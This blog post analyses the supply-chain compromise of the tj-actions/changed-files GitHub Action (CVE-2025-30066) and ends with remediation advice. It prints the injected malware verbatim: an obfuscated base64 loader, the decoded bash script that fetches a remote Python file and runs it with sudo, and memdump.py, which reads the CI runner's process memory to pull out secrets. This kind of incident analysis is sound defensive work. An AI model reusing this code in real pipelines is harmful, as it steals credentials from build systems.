0np

One Byte At A Time


Blog · About

Analyzing a supply-chain attack in GitHub Actions (CVE-2025-30066)

Published on by 0np, 1058 words

Last Saturday a new supply-chain attack in tj-actions/changed-files was published by StepSecurity.io. The vulnerability is tracked as CVE-2025-30066.

Let's look at the specific compromise. In the commit 0e58ed8 we can see that the file contains a suspicious base64 encoded payload:

async function updateFeatures(token) {

     const {stdout, stderr} = await exec.getExecOutput('bash', ['-c', `echo "aWYgW1sgIiRPU1RZUEUiID09ICJsaW51eC1nbnUiIF1dOyB0aGVuCiAgQjY0X0JMT0I9YGN1cmwgLXNTZiBodHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL25pa2l0YXN0dXBpbi8zMGU1MjViNzc2YzQwOWUwM2MyZDZmMzI4ZjI1NDk2NS9yYXcvbWVtZHVtcC5weSB8IHN1ZG8gcHl0aG9uMyB8IHRyIC1kICdcMCcgfCBncmVwIC1hb0UgJyJbXiJdKyI6XHsidmFsdWUiOiJbXiJdKiIsImlzU2VjcmV0Ijp0cnVlXH0nIHwgc29ydCAtdSB8IGJhc2U2NCAtdyAwIHwgYmFzZTY0IC13IDBgCiAgZWNobyAkQjY0X0JMT0IKZWxzZQogIGV4aXQgMApmaQo=" | base64 -d > /tmp/run.sh && bash /tmp/run.sh`], {          ignoreReturnCode: true,
         silent: true
     });
     core.info(stdout);

 }

This function decodes a base64 string, writes it to /tmp/run.sh and then executes it with bash at the time the tj-actions/changed-files is run in your GitHub Actions workflow.

We can use CyberChef to further analyze this code. It's a surprisingly handy tool to work with all kinds of strings and data, right in your browser and your browser alone without submitting it to a third party. I've used this simple recipie to take a deeper look. This leads us to:

if [[ "$OSTYPE" == "linux-gnu" ]]; then
  B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
  echo $B64_BLOB
else
  exit 0
fi

Here's what it does step-by-step:

  1. It checks if the system its running on is of type "linux-gnu". $OSTYPE is one of the available environment variables in bash.
  2. Then it will download a file called memdump.py with curl. I'll discuss this file in the next section.
  3. Piping this file directly into python3 with sudo, thereby executing it.
  4. The output will be stripped of \0.
  5. It applies a regular expression using grep. We could further analyze this using a service like regex101, albeit we can make an educated guess and say this tries to filter for some secrets in the output of memdump.py.
  6. It sorts the result and removes duplicates.
  7. This will be piped into two iterations of base64 without line wrapping.
  8. Finally it will simply print the results of all of the above operations.

Now the heart of the payload lies within this file memdump.py. At the time of writing this (17th March 2025), it is no longer available and returns a HTTP 404 error. This means that even if you didn't had a chance to update this dependency, it can no longer cause damage and the exploit is defused.

Luckily the file in question can still be viewed using the wayback machine from archive.org. Let's dive in! I've annotated some lines with a comment for easier reference:

#!/usr/bin/env python3

# based on https://davidebove.com/blog/?p=1620

import sys
import os
import re


def get_pid():
    # https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python
    pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]

    for pid in pids:
        with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
            if b'Runner.Worker' in cmdline_f.read():
                return pid

    raise Exception('Can not get pid of Runner.Worker')

if __name__ == "__main__":
    # (1)
    pid = get_pid()
    print(pid)

    map_path = f"/proc/{pid}/maps"
    mem_path = f"/proc/{pid}/mem"

    # (2)
    with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
        for line in map_f.readlines():  # for each mapped region
            m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
            if m.group(3) == 'r':  # readable region
                # (3)
                start = int(m.group(1), 16)
                end = int(m.group(2), 16)
                # hotfix: OverflowError: Python int too large to convert to C long
                # 18446744073699065856
                if start > sys.maxsize:
                    continue
                mem_f.seek(start)  # seek to region start

                try:
                    # (4)
                    chunk = mem_f.read(end - start)  # read region contents
                    # (5)
                    sys.stdout.buffer.write(chunk)
                except OSError:
                    continue

Here is the rough sketch:

  1. It attempts to get the process ID of the current GitHub Actions worker thread.
  2. Using the /proc interface on Linux, it will open the currently mapped memory regions of this process. To be precise, /proc/$PID/maps contains "memory maps to executables and library files" and /proc/$PID/mem contains the memory content itself.
  3. Using a regular expression, it extracts the start and end address of the memory regions
  4. It attempts to read out the memory
  5. Finally, it writes the content to stdout.

The good news is that this exploit only leaks the credentials to stdout and is not exfiltrating them to a third-party server. The bad news is that GitHub Action workflow logs are publicly visible for public repositories, so the damage is done.

Incident response and remediation

To identify what repositories are are affected in your environment, the original post by Semgrep offers some good guidance. As a starting point they suggest:

"The simplest way to find this is to grep for tj-actions in your codebase"

For each repository you can now triage the impact of this attack. What's the code used for? Do you find leaked credentials in the workflow logs? Do they allow lateral movement and further compromise? The incident writeup by StepSecurity provides more in-depth recommendations. Suffice to say that you definitely need to rotate your leaked credentials.

Sources